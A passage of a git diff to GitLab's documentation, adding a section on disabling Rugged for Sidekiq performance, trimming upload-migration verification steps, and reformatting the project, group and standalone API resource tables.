+function in Rugged. In the stack, we can see `rev_parse` is being called by the `ExpirePipelineCacheWorker`.
+
## Process profiling with `perf`
Linux has a process profiling tool called `perf` that is helpful when a certain
@@ -358,3 +379,17 @@ has number of drawbacks, as mentioned in [Why Ruby's Timeout is dangerous (and T
> - in any of your code, regardless of whether it could have possibly raised an exception before
>
> Nobody writes code to defend against an exception being raised on literally any line. That's not even possible. So Thread.raise is basically like a sneak attack on your code that could result in almost anything. It would probably be okay if it were pure-functional code that did not modify any state. But this is Ruby, so that's unlikely :)
+
+## Disable Rugged
+
+Calls into Rugged, Ruby bindings for `libgit2`, [lock the Sidekiq processes's GVL](https://silverhammermba.github.io/emberb/c/#c-in-ruby-threads),
+blocking all jobs on that worker from proceeding. If Rugged calls performed by Sidekiq are slow, this can cause significant delays in
+background task processing.
+
+By default, Rugged is used when Git repository data is stored on local storage or on an NFS mount.
+[Using Rugged is recommened when using NFS](../nfs.md#improving-nfs-performance-with-gitlab), but if
+you are using local storage, disabling Rugged can improve Sidekiq performance:
+
+```shell
+sudo gitlab-rake gitlab:features:disable_rugged
+```
diff --git a/doc/administration/troubleshooting/tracing_correlation_id.md b/doc/administration/troubleshooting/tracing_correlation_id.md
index 3bafbed4b3f..3a0c6a30cde 100644
--- a/doc/administration/troubleshooting/tracing_correlation_id.md
+++ b/doc/administration/troubleshooting/tracing_correlation_id.md
@@ -2,13 +2,12 @@
stage: Enablement
group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference
---
# Finding relevant log entries with a correlation ID **(FREE SELF)**
-In GitLab 11.6 and later, a unique request tracking ID, known as the "correlation ID" has been
-logged by the GitLab instance for most requests. Each individual request to GitLab gets
+GitLab instances log a unique request tracking ID (known as the
+"correlation ID") for most requests. Each individual request to GitLab gets
its own correlation ID, which then gets logged in each GitLab component's logs for that
request. This makes it easier to trace behavior in a
distributed system. Without this ID it can be difficult or
@@ -147,7 +146,7 @@ First, enable the **Developer Tools** panel. See [Getting the correlation ID in
After developer tools have been enabled, obtain a session cookie as follows:
1. Visit <https://gitlab.com> while logged in.
-1. (Optional) Select **Fetch/XHR** request filter in the **Developer Tools** panel. This step is described for Google Chrome developer tools and is not strictly necessary, it just makes it easier to find the correct request.
+1. Optional. Select **Fetch/XHR** request filter in the **Developer Tools** panel. This step is described for Google Chrome developer tools and is not strictly necessary, it just makes it easier to find the correct request.
1. Select the `results?request_id=<some-request-id>` request on the left hand side.
1. The session cookie is displayed under the `Request Headers` section of the `Headers` panel. Right-click on the cookie value and select `Copy value`.
diff --git a/doc/administration/uploads.md b/doc/administration/uploads.md
index 15ef024647c..55c3f85bfb9 100644
--- a/doc/administration/uploads.md
+++ b/doc/administration/uploads.md
@@ -51,12 +51,6 @@ _The uploads are stored by default in
## Using object storage **(FREE SELF)**
-> **Notes:**
->
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3867) in GitLab 10.5.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17358) from GitLab Premium to GitLab Free in 10.7.
-> - Since version 11.1, we support direct_upload to S3.
-
If you don't want to use the local disk where GitLab is installed to store the
uploads, you can use an object storage provider like AWS S3 instead.
This configuration relies on valid AWS credentials to be configured already.
@@ -112,24 +106,7 @@ _The uploads are stored by default in
```
1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md).
-1. Optional: Verify all files migrated properly.
- From [PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database)
- (`sudo gitlab-psql -d gitlabhq_production`) verify `objectstg` below (where `store=2`) has count of all artifacts:
-
- ```shell
- gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM uploads;
-
- total | filesystem | objectstg
- ------+------------+-----------
- 2409 | 0 | 2409
- ```
-
- Verify no files on disk in `artifacts` folder:
-
- ```shell
- sudo find /var/opt/gitlab/gitlab-rails/uploads -type f | grep -v tmp | wc -l
- ```
+1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md).
**In installations from source:**
@@ -153,22 +130,6 @@ _The uploads are stored by default in
1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md).
-1. Optional: Verify all files migrated properly.
- From PostgreSQL console (`sudo -u git -H psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts:
-
- ```shell
- gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM uploads;
-
- total | filesystem | objectstg
- ------+------------+-----------
- 2409 | 0 | 2409
- ```
-
- Verify no files on disk in `artifacts` folder:
-
- ```shell
- sudo find /var/opt/gitlab/gitlab-rails/uploads -type f | grep -v tmp | wc -l
- ```
#### OpenStack example
@@ -195,23 +156,6 @@ _The uploads are stored by default in
1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md).
-1. Optional: Verify all files migrated properly.
- From [PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database)
- (`sudo gitlab-psql -d gitlabhq_production`) verify `objectstg` below (where `store=2`) has count of all artifacts:
-
- ```shell
- gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM uploads;
-
- total | filesystem | objectstg
- ------+------------+-----------
- 2409 | 0 | 2409
- ```
-
- Verify no files on disk in `artifacts` folder:
-
- ```shell
- sudo find /var/opt/gitlab/gitlab-rails/uploads -type f | grep -v tmp | wc -l
- ```
---
@@ -243,19 +187,3 @@ _The uploads are stored by default in
1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md).
-1. Optional: Verify all files migrated properly.
- From PostgreSQL console (`sudo -u git -H psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts:
-
- ```shell
- gitlabhq_production=# SELECT count(*) AS total, sum(case when store = '1' then 1 else 0 end) AS filesystem, sum(case when store = '2' then 1 else 0 end) AS objectstg FROM uploads;
-
- total | filesystem | objectstg
- ------+------------+-----------
- 2409 | 0 | 2409
- ```
-
- Verify no files on disk in `artifacts` folder:
-
- ```shell
- sudo find /var/opt/gitlab/gitlab-rails/uploads -type f | grep -v tmp | wc -l
- ```
diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md
index d496ecbca5b..f489cb780ef 100644
--- a/doc/api/api_resources.md
+++ b/doc/api/api_resources.md
@@ -22,160 +22,159 @@ See also:
The following API resources are available in the project context:
-| Resource | Available endpoints |
-|:--------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| [Access requests](access_requests.md) | `/projects/:id/access_requests` (also available for groups) |
-| [Access tokens](resource_access_tokens.md) | `/projects/:id/access_tokens` |
-| [Award emoji](award_emoji.md) | `/projects/:id/issues/.../award_emoji`, `/projects/:id/merge_requests/.../award_emoji`, `/projects/:id/snippets/.../award_emoji` |
-| [Branches](branches.md) | `/projects/:id/repository/branches/`, `/projects/:id/repository/merged_branches` |
-| [Commits](commits.md) | `/projects/:id/repository/commits`, `/projects/:id/statuses` |
-| [Container Registry](container_registry.md) | `/projects/:id/registry/repositories` |
-| [Custom attributes](custom_attributes.md) | `/projects/:id/custom_attributes` (also available for groups and users) |
-| [Dependencies](dependencies.md) **(ULTIMATE)** | `/projects/:id/dependencies` |
-| [Deploy keys](deploy_keys.md) | `/projects/:id/deploy_keys` (also available standalone) |
-| [Freeze Periods](freeze_periods.md) | `/projects/:id/freeze_periods` |
-| [Debian distributions](packages/debian_project_distributions.md) | `/projects/:id/debian_distributions` (also available for groups) |
-| [Deployments](deployments.md) | `/projects/:id/deployments` |
-| [Discussions](discussions.md) (threaded comments) | `/projects/:id/issues/.../discussions`, `/projects/:id/snippets/.../discussions`, `/projects/:id/merge_requests/.../discussions`, `/projects/:id/commits/.../discussions` (also available for groups) |
-| [Environments](environments.md) | `/projects/:id/environments` |
-| [Error Tracking](error_tracking.md) | `/projects/:id/error_tracking/settings` |
-| [Events](events.md) | `/projects/:id/events` (also available for users and standalone) |
-| [Feature Flags](feature_flags.md) | `/projects/:id/feature_flags` |
-| [Feature Flag User Lists](feature_flag_user_lists.md) | `/projects/:id/feature_flags_user_lists` |
-| [Integrations](integrations.md) | `/projects/:id/integrations` |
-| [Invitations](invitations.md) | `/projects/:id/invitations` (also available for groups) |
-| [Issues](issues.md) | `/projects/:id/issues` (also available for groups and standalone) |
-| [Issues Statistics](issues_statistics.md) | `/projects/:id/issues_statistics` (also available for groups and standalone) |
-| [Issue boards](boards.md) | `/projects/:id/boards` |
-| [Issue links](issue_links.md). | `/projects/:id/issues/.../links` |
-| [Iterations](iterations.md) **(PREMIUM)** | `/projects/:id/iterations` (also available for groups) |
-| [Jobs](jobs.md) | `/projects/:id/jobs`, `/projects/:id/pipelines/.../jobs` |
-| [Labels](labels.md) | `/projects/:id/labels` |
-| [Managed licenses](managed_licenses.md) **(ULTIMATE)** | `/projects/:id/managed_licenses` |
-| [Members](members.md) | `/projects/:id/members` (also available for groups) |
-| [Merge request approvals](merge_request_approvals.md) **(PREMIUM)** | `/projects/:id/approvals`, `/projects/:id/merge_requests/.../approvals` |
-| [Merge requests](merge_requests.md) | `/projects/:id/merge_requests` (also available for groups and standalone) |
-| [Merge trains](merge_trains.md) | `/projects/:id/merge_trains` |
-| [Notes](notes.md) (comments) | `/projects/:id/issues/.../notes`, `/projects/:id/snippets/.../notes`, `/projects/:id/merge_requests/.../notes` (also available for groups) |
-| [Notification settings](notification_settings.md) | `/projects/:id/notification_settings` (also available for groups and standalone) |
-| [Packages](packages.md) | `/projects/:id/packages` |
-| [Pages domains](pages_domains.md) | `/projects/:id/pages` (also available standalone) |
-| [Pipelines](pipelines.md) | `/projects/:id/pipelines` |
-| [Pipeline schedules](pipeline_schedules.md) | `/projects/:id/pipeline_schedules` |
-| [Pipeline triggers](pipeline_triggers.md) | `/projects/:id/triggers` |
-| [Projects](projects.md) including setting Webhooks | `/projects`, `/projects/:id/hooks` (also available for users) |
-| [Project badges](project_badges.md) | `/projects/:id/badges` |
-| [Project clusters](project_clusters.md) | `/projects/:id/clusters` |
-| [Project-level variables](project_level_variables.md) | `/projects/:id/variables` |
-| [Project import/export](project_import_export.md) | `/projects/:id/export`, `/projects/import`, `/projects/:id/import` |
-| [Project milestones](milestones.md) | `/projects/:id/milestones` |
-| [Project snippets](project_snippets.md) | `/projects/:id/snippets` |
-| [Project templates](project_templates.md) | `/projects/:id/templates` |
-| [Project vulnerabilities](project_vulnerabilities.md) **(ULTIMATE)** | `/projects/:id/templates` |
-| [Protected environments](protected_environments.md) | `/projects/:id/protected_environments` |
-| [Protected branches](protected_branches.md) | `/projects/:id/protected_branches` |
-| [Protected tags](protected_tags.md) | `/projects/:id/protected_tags` |
-| [Releases](releases/index.md) | `/projects/:id/releases` |
-| [Release links](releases/links.md) | `/projects/:id/releases/.../assets/links` |
-| [Remote mirrors](remote_mirrors.md) | `/projects/:id/remote_mirrors` |
-| [Repositories](repositories.md) | `/projects/:id/repository` |
-| [Repository files](repository_files.md) | `/projects/:id/repository/files` |
-| [Repository submodules](repository_submodules.md) | `/projects/:id/repository/submodules` |
-| [Resource label events](resource_label_events.md) | `/projects/:id/issues/.../resource_label_events`, `/projects/:id/merge_requests/.../resource_label_events` (also available for groups) |
-| [Runners](runners.md) | `/projects/:id/runners` (also available standalone) |
-| [Search](search.md) | `/projects/:id/search` (also available for groups and standalone) |
-| [Services](services.md) (renamed to [Integrations](integrations.md)) | `/projects/:id/services` |
-| [Tags](tags.md) | `/projects/:id/repository/tags` |
-| [User-starred metrics dashboards](metrics_user_starred_dashboards.md ) | `/projects/:id/metrics/user_starred_dashboards` |
-| [Visual Review discussions](visual_review_discussions.md) **(PREMIUM)** | `/projects/:id/merge_requests/:merge_request_id/visual_review_discussions` |
-| [Vulnerabilities](vulnerabilities.md) **(ULTIMATE)** | `/vulnerabilities/:id` |
-| [Vulnerability exports](vulnerability_exports.md) **(ULTIMATE)** | `/projects/:id/vulnerability_exports` |
-| [Vulnerability findings](vulnerability_findings.md) **(ULTIMATE)** | `/projects/:id/vulnerability_findings` |
-| [Project wikis](wikis.md) | `/projects/:id/wikis` |
+| Resource | Available endpoints |
+|:------------------------------------------------------------------------|:--------------------|
+| [Access requests](access_requests.md) | `/projects/:id/access_requests` (also available for groups) |
+| [Access tokens](resource_access_tokens.md) | `/projects/:id/access_tokens` |
+| [Award emoji](award_emoji.md) | `/projects/:id/issues/.../award_emoji`, `/projects/:id/merge_requests/.../award_emoji`, `/projects/:id/snippets/.../award_emoji` |
+| [Branches](branches.md) | `/projects/:id/repository/branches/`, `/projects/:id/repository/merged_branches` |
+| [Commits](commits.md) | `/projects/:id/repository/commits`, `/projects/:id/statuses` |
+| [Container Registry](container_registry.md) | `/projects/:id/registry/repositories` |
+| [Custom attributes](custom_attributes.md) | `/projects/:id/custom_attributes` (also available for groups and users) |
+| [Debian distributions](packages/debian_project_distributions.md) | `/projects/:id/debian_distributions` (also available for groups) |
+| [Dependencies](dependencies.md) **(ULTIMATE)** | `/projects/:id/dependencies` |
+| [Deploy keys](deploy_keys.md) | `/projects/:id/deploy_keys` (also available standalone) |
+| [Deployments](deployments.md) | `/projects/:id/deployments` |
+| [Discussions](discussions.md) (threaded comments) | `/projects/:id/issues/.../discussions`, `/projects/:id/snippets/.../discussions`, `/projects/:id/merge_requests/.../discussions`, `/projects/:id/commits/.../discussions` (also available for groups) |
+| [Environments](environments.md) | `/projects/:id/environments` |
+| [Error Tracking](error_tracking.md) | `/projects/:id/error_tracking/settings` |
+| [Events](events.md) | `/projects/:id/events` (also available for users and standalone) |
+| [Feature Flag User Lists](feature_flag_user_lists.md) | `/projects/:id/feature_flags_user_lists` |
+| [Feature Flags](feature_flags.md) | `/projects/:id/feature_flags` |
+| [Freeze Periods](freeze_periods.md) | `/projects/:id/freeze_periods` |
+| [Integrations](integrations.md) (Formerly "services") | `/projects/:id/integrations` |
+| [Invitations](invitations.md) | `/projects/:id/invitations` (also available for groups) |
+| [Issue boards](boards.md) | `/projects/:id/boards` |
+| [Issue links](issue_links.md) | `/projects/:id/issues/.../links` |
+| [Issues Statistics](issues_statistics.md) | `/projects/:id/issues_statistics` (also available for groups and standalone) |
+| [Issues](issues.md) | `/projects/:id/issues` (also available for groups and standalone) |
+| [Iterations](iterations.md) **(PREMIUM)** | `/projects/:id/iterations` (also available for groups) |
+| [Jobs](jobs.md) | `/projects/:id/jobs`, `/projects/:id/pipelines/.../jobs` |
+| [Labels](labels.md) | `/projects/:id/labels` |
+| [Managed licenses](managed_licenses.md) **(ULTIMATE)** | `/projects/:id/managed_licenses` |
+| [Members](members.md) | `/projects/:id/members` (also available for groups) |
+| [Merge request approvals](merge_request_approvals.md) **(PREMIUM)** | `/projects/:id/approvals`, `/projects/:id/merge_requests/.../approvals` |
+| [Merge requests](merge_requests.md) | `/projects/:id/merge_requests` (also available for groups and standalone) |
+| [Merge trains](merge_trains.md) | `/projects/:id/merge_trains` |
+| [Notes](notes.md) (comments) | `/projects/:id/issues/.../notes`, `/projects/:id/snippets/.../notes`, `/projects/:id/merge_requests/.../notes` (also available for groups) |
+| [Notification settings](notification_settings.md) | `/projects/:id/notification_settings` (also available for groups and standalone) |
+| [Packages](packages.md) | `/projects/:id/packages` |
+| [Pages domains](pages_domains.md) | `/projects/:id/pages` (also available standalone) |
+| [Pipeline schedules](pipeline_schedules.md) | `/projects/:id/pipeline_schedules` |
+| [Pipeline triggers](pipeline_triggers.md) | `/projects/:id/triggers` |
+| [Pipelines](pipelines.md) | `/projects/:id/pipelines` |
+| [Project badges](project_badges.md) | `/projects/:id/badges` |
+| [Project clusters](project_clusters.md) | `/projects/:id/clusters` |
+| [Project import/export](project_import_export.md) | `/projects/:id/export`, `/projects/import`, `/projects/:id/import` |
+| [Project milestones](milestones.md) | `/projects/:id/milestones` |
+| [Project snippets](project_snippets.md) | `/projects/:id/snippets` |
+| [Project templates](project_templates.md) | `/projects/:id/templates` |
+| [Project vulnerabilities](project_vulnerabilities.md) **(ULTIMATE)** | `/projects/:id/templates` |
+| [Project wikis](wikis.md) | `/projects/:id/wikis` |
+| [Project-level variables](project_level_variables.md) | `/projects/:id/variables` |
+| [Projects](projects.md) including setting Webhooks | `/projects`, `/projects/:id/hooks` (also available for users) |
+| [Protected branches](protected_branches.md) | `/projects/:id/protected_branches` |
+| [Protected environments](protected_environments.md) | `/projects/:id/protected_environments` |
+| [Protected tags](protected_tags.md) | `/projects/:id/protected_tags` |
+| [Release links](releases/links.md) | `/projects/:id/releases/.../assets/links` |
+| [Releases](releases/index.md) | `/projects/:id/releases` |
+| [Remote mirrors](remote_mirrors.md) | `/projects/:id/remote_mirrors` |
+| [Repositories](repositories.md) | `/projects/:id/repository` |
+| [Repository files](repository_files.md) | `/projects/:id/repository/files` |
+| [Repository submodules](repository_submodules.md) | `/projects/:id/repository/submodules` |
+| [Resource label events](resource_label_events.md) | `/projects/:id/issues/.../resource_label_events`, `/projects/:id/merge_requests/.../resource_label_events` (also available for groups) |
+| [Runners](runners.md) | `/projects/:id/runners` (also available standalone) |
+| [Search](search.md) | `/projects/:id/search` (also available for groups and standalone) |
+| [Tags](tags.md) | `/projects/:id/repository/tags` |
+| [User-starred metrics dashboards](metrics_user_starred_dashboards.md ) | `/projects/:id/metrics/user_starred_dashboards` |
+| [Visual Review discussions](visual_review_discussions.md) **(PREMIUM)** | `/projects/:id/merge_requests/:merge_request_id/visual_review_discussions` |
+| [Vulnerabilities](vulnerabilities.md) **(ULTIMATE)** | `/vulnerabilities/:id` |
+| [Vulnerability exports](vulnerability_exports.md) **(ULTIMATE)** | `/projects/:id/vulnerability_exports` |
+| [Vulnerability findings](vulnerability_findings.md) **(ULTIMATE)** | `/projects/:id/vulnerability_findings` |
## Group resources
The following API resources are available in the group context:
-| Resource | Available endpoints |
-|:-----------------------------------------------------------------|:---------------------------------------------------------------------------------|
-| [Access requests](access_requests.md) | `/groups/:id/access_requests/` (also available for projects) |
-| [Custom attributes](custom_attributes.md) | `/groups/:id/custom_attributes` (also available for projects and users) |
-| [Debian distributions](packages/debian_group_distributions.md) | `/groups/:id/-/packages/debian` (also available for projects) |
-| [Discussions](discussions.md) (threaded comments) **(ULTIMATE)** | `/groups/:id/epics/.../discussions` (also available for projects) |
-| [Epic issues](epic_issues.md) **(ULTIMATE)** | `/groups/:id/epics/.../issues` |
-| [Epic links](epic_links.md) **(ULTIMATE)** | `/groups/:id/epics/.../epics` |
-| [Epics](epics.md) **(ULTIMATE)** | `/groups/:id/epics` |
-| [Groups](groups.md) | `/groups`, `/groups/.../subgroups` |
-| [Group badges](group_badges.md) | `/groups/:id/badges` |
-| [Group issue boards](group_boards.md) | `/groups/:id/boards` |
-| [Group iterations](group_iterations.md) **(PREMIUM)** | `/groups/:id/iterations` (also available for projects) |
-| [Group labels](group_labels.md) | `/groups/:id/labels` |
-| [Group-level variables](group_level_variables.md) | `/groups/:id/variables` |
-| [Group milestones](group_milestones.md) | `/groups/:id/milestones` |
-| [Invitations](invitations.md) | `/groups/:id/invitations` (also available for projects) |
-| [Issues](issues.md) | `/groups/:id/issues` (also available for projects and standalone) |
-| [Issues Statistics](issues_statistics.md) | `/groups/:id/issues_statistics` (also available for projects and standalone) |
-| [Members](members.md) | `/groups/:id/members` (also available for projects) |
-| [Merge requests](merge_requests.md) | `/groups/:id/merge_requests` (also available for projects and standalone) |
-| [Notes](notes.md) (comments) | `/groups/:id/epics/.../notes` (also available for projects) |
+| Resource | Available endpoints |
+|:-----------------------------------------------------------------|:--------------------|
+| [Access requests](access_requests.md) | `/groups/:id/access_requests/` (also available for projects) |
+| [Custom attributes](custom_attributes.md) | `/groups/:id/custom_attributes` (also available for projects and users) |
+| [Debian distributions](packages/debian_group_distributions.md) | `/groups/:id/-/packages/debian` (also available for projects) |
+| [Discussions](discussions.md) (threaded comments) **(ULTIMATE)** | `/groups/:id/epics/.../discussions` (also available for projects) |
+| [Epic issues](epic_issues.md) **(ULTIMATE)** | `/groups/:id/epics/.../issues` |
+| [Epic links](epic_links.md) **(ULTIMATE)** | `/groups/:id/epics/.../epics` |
+| [Epics](epics.md) **(ULTIMATE)** | `/groups/:id/epics` |
+| [Groups](groups.md) | `/groups`, `/groups/.../subgroups` |
+| [Group badges](group_badges.md) | `/groups/:id/badges` |
+| [Group issue boards](group_boards.md) | `/groups/:id/boards` |
+| [Group iterations](group_iterations.md) **(PREMIUM)** | `/groups/:id/iterations` (also available for projects) |
+| [Group labels](group_labels.md) | `/groups/:id/labels` |
+| [Group-level variables](group_level_variables.md) | `/groups/:id/variables` |
+| [Group milestones](group_milestones.md) | `/groups/:id/milestones` |
+| [Group wikis](group_wikis.md) **(PREMIUM)** | `/groups/:id/wikis` |
+| [Invitations](invitations.md) | `/groups/:id/invitations` (also available for projects) |
+| [Issues](issues.md) | `/groups/:id/issues` (also available for projects and standalone) |
+| [Issues Statistics](issues_statistics.md) | `/groups/:id/issues_statistics` (also available for projects and standalone) |
+| [Members](members.md) | `/groups/:id/members` (also available for projects) |
+| [Merge requests](merge_requests.md) | `/groups/:id/merge_requests` (also available for projects and standalone) |
+| [Notes](notes.md) (comments) | `/groups/:id/epics/.../notes` (also available for projects) |
| [Notification settings](notification_settings.md) | `/groups/:id/notification_settings` (also available for projects and standalone) |
-| [Resource label events](resource_label_events.md) | `/groups/:id/epics/.../resource_label_events` (also available for projects) |
-| [Search](search.md) | `/groups/:id/search` (also available for projects and standalone) |
-| [Group wikis](group_wikis.md) **(PREMIUM)** | `/groups/:id/wikis` |
+| [Resource label events](resource_label_events.md) | `/groups/:id/epics/.../resource_label_events` (also available for projects) |
+| [Search](search.md) | `/groups/:id/search` (also available for projects and standalone) |
## Standalone resources
The following API resources are available outside of project and group contexts (including `/users`):
-| Resource | Available endpoints |
-|:---------------------------------------------------|:------------------------------------------------------------------------|
-| [Instance-level CI/CD variables](instance_level_ci_variables.md) **(FREE SELF)** | `/admin/ci/variables` |
-| [Sidekiq queues administration](admin_sidekiq_queues.md) **(FREE SELF)** | `/admin/sidekiq/queues/:queue_name` |
-| [Appearance](appearance.md) **(FREE SELF)** | `/application/appearance` |
-| [Applications](applications.md) | `/applications` |
-| [Audit Events](audit_events.md) **(PREMIUM SELF)** | `/audit_events` |
-| [Avatar](avatar.md) | `/avatar` |
-| [Broadcast messages](broadcast_messages.md) | `/broadcast_messages` |
-| [Code snippets](snippets.md) | `/snippets` |
-| [Custom attributes](custom_attributes.md) | `/users/:id/custom_attributes` (also available for groups and projects) |
-| [Deploy keys](deploy_keys.md) | `/deploy_keys` (also available for projects) |
-| [Events](events.md) | `/events`, `/users/:id/events` (also available for projects) |
-| [Feature flags](features.md) | `/features` |
-| [Geo Nodes](geo_nodes.md) **(PREMIUM SELF)** | `/geo_nodes` |
-| [Group Activity Analytics](group_activity_analytics.md) | `/analytics/group_activity/{issues_count | merge_requests_count | new_members_count }` |
-| [Group repository storage moves](group_repository_storage_moves.md) **(PREMIUM SELF)** | `/group_repository_storage_moves` |
-| [Import repository from GitHub](import.md) | `/import/github` |
-| [Instance clusters](instance_clusters.md) **(FREE SELF)** | `/admin/clusters` |
-| [Issues](issues.md) | `/issues` (also available for groups and projects) |
-| [Issues Statistics](issues_statistics.md) | `/issues_statistics` (also available for groups and projects) |
-| [Jobs](jobs.md) | `/job` |
-| [Keys](keys.md) | `/keys` |
-| [License](license.md) **(FREE SELF)** | `/license` |
-| [Markdown](markdown.md) | `/markdown` |
-| [Merge requests](merge_requests.md) | `/merge_requests` (also available for groups and projects) |
-| [Metrics dashboard annotations](metrics_dashboard_annotations.md) | `/environments/:id/metrics_dashboard/annotations`, `/clusters/:id/metrics_dashboard/annotations` |
-| [Namespaces](namespaces.md) | `/namespaces` |
-| [Notification settings](notification_settings.md) | `/notification_settings` (also available for groups and projects) |
-| [Pages domains](pages_domains.md) | `/pages/domains` (also available for projects) |
-| [Plan limits](plan_limits.md) | `/application/plan_limits` |
-| [Personal access tokens](personal_access_tokens.md) | `/personal_access_tokens` |
-| [Projects](projects.md) | `/users/:id/projects` (also available for projects) |
+| Resource | Available endpoints |
+|:----------------------------------------------------------------------------------------|:--------------------|
+| [Appearance](appearance.md) **(FREE SELF)** | `/application/appearance` |
+| [Applications](applications.md) | `/applications` |
+| [Audit Events](audit_events.md) **(PREMIUM SELF)** | `/audit_events` |
+| [Avatar](avatar.md) | `/avatar` |
+| [Broadcast messages](broadcast_messages.md) | `/broadcast_messages` |
+| [Code snippets](snippets.md) | `/snippets` |
+| [Custom attributes](custom_attributes.md) | `/users/:id/custom_attributes` (also available for groups and projects) |
+| [Deploy keys](deploy_keys.md) | `/deploy_keys` (also available for projects) |
+| [Events](events.md) | `/events`, `/users/:id/events` (also available for projects) |
+| [Feature flags](features.md) | `/features` |
+| [Geo Nodes](geo_nodes.md) **(PREMIUM SELF)** | `/geo_nodes` |
+| [Group Activity Analytics](group_activity_analytics.md) | `/analytics/group_activity/{issues_count}` |
+| [Group repository storage moves](group_repository_storage_moves.md) **(PREMIUM SELF)** | `/group_repository_storage_moves` |
+| [Import repository from GitHub](import.md) | `/import/github` |
+| [Instance clusters](instance_clusters.md) **(FREE SELF)** | `/admin/clusters` |
+| [Instance-level CI/CD variables](instance_level_ci_variables.md) **(FREE SELF)** | `/admin/ci/variables` |
+| [Issues Statistics](issues_statistics.md) | `/issues_statistics` (also available for groups and projects) |
+| [Issues](issues.md) | `/issues` (also available for groups and projects) |
+| [Jobs](jobs.md) | `/job` |
+| [Keys](keys.md) | `/keys` |
+| [License](license.md) **(FREE SELF)** | `/license` |
+| [Markdown](markdown.md) | `/markdown` |
+| [Merge requests](merge_requests.md) | `/merge_requests` (also available for groups and projects) |
+| [Metrics dashboard annotations](metrics_dashboard_annotations.md) | `/environments/:id/metrics_dashboard/annotations`, `/clusters/:id/metrics_dashboard/annotations` |
+| [Namespaces](namespaces.md) | `/namespaces` |
+| [Notification settings](notification_settings.md) | `/notification_settings` (also available for groups and projects) |
+| [Pages domains](pages_domains.md) | `/pages/domains` (also available for projects) |
+| [Personal access tokens](personal_access_tokens.md) | `/personal_access_tokens` |
+| [Plan limits](plan_limits.md) | `/application/plan_limits` |
| [Project repository storage moves](project_repository_storage_moves.md) **(FREE SELF)** | `/project_repository_storage_moves` |
-| [Runners](runners.md) | `/runners` (also available for projects) |
-| [Search](search.md) | `/search` (also available for groups and projects) |
-| [Settings](settings.md) **(FREE SELF)** | `/application/settings` |
+| [Projects](projects.md) | `/users/:id/projects` (also available for projects) |
+| [Runners](runners.md) | `/runners` (also available for projects) |
+| [Search](search.md) | `/search` (also available for groups and projects) |
+| [Service Data](usage_data.md) | `/usage_data` (For GitLab instance [Administrator](../user/permissions.md) users only) |
+| [Settings](settings.md) **(FREE SELF)** | `/application/settings` |
+| [Sidekiq metrics](sidekiq_metrics.md) **(FREE SELF)** | `/sidekiq` |
+| [Sidekiq queues administration](admin_sidekiq_queues.md) **(FREE SELF)** | `/admin/sidekiq/queues/:queue_name` |
| [Snippet repository storage moves](snippet_repository_storage_moves.md) **(FREE SELF)** | `/snippet_repository_storage_moves` |
-| [Statistics](statistics.md) | `/application/statistics` |
-| [Sidekiq metrics](sidekiq_metrics.md) **(FREE SELF)** | `/sidekiq` |
-| [Suggestions](suggestions.md) | `/suggestions` |
-| [System hooks](system_hooks.md) | `/hooks` |
-| [To-dos](todos.md) | `/todos` |
-| [Topics](topics.md) | `/topics` |
-| [Service Data](usage_data.md) | `/usage_data` (For GitLab instance [Administrator](../user/permissions.md) users only) |
-| [Users](users.md) | `/users` |
-| [Validate `.gitlab-ci.yml` file](lint.md) | `/lint` |
-| [Version](version.md) | `/version` |
+| [Statistics](statistics.md) | `/application/statistics` |
+| [Suggestions](suggestions.md) | `/suggestions` |
+| [System hooks](system_hooks.md) | `/hooks` |
+| [To-dos](todos.md) | `/todos` |
+| [Topics](topics.md) | `/topics` |
+| [Users](users.md) | `/users` |
+| [Validate `.gitlab-ci.yml` file](lint.md) | `/lint` |
+| [Version](version.md) | `/version` |
## Templates API resources
diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md
index 3ffcae04791..888323f9362 100644
--- a/doc/api/audit_events.md
+++ b/doc/api/audit_events.md
@@ -277,7 +277,7 @@ Example response:
"entity_id": 7,
"entity_type": "Project",
"details": {
- "change": "prevent merge request approval from reviewers",
+ "change": "prevent merge request approval from committers",
"from": "",
"to": "true",
"author_name": "Administrator",
@@ -312,7 +312,7 @@ Example response:
### Retrieve a specific project audit event
-Only available to project maintainers or owners.
+Only available to users with at least the [Maintainer role](../user/permissions.md) for the project.
```plaintext
GET /projects/:id/audit_events/:audit_event_id
@@ -336,7 +336,7 @@ Example response:
"entity_id": 7,
"entity_type": "Project",
"details": {
- "change": "prevent merge request approval from reviewers",
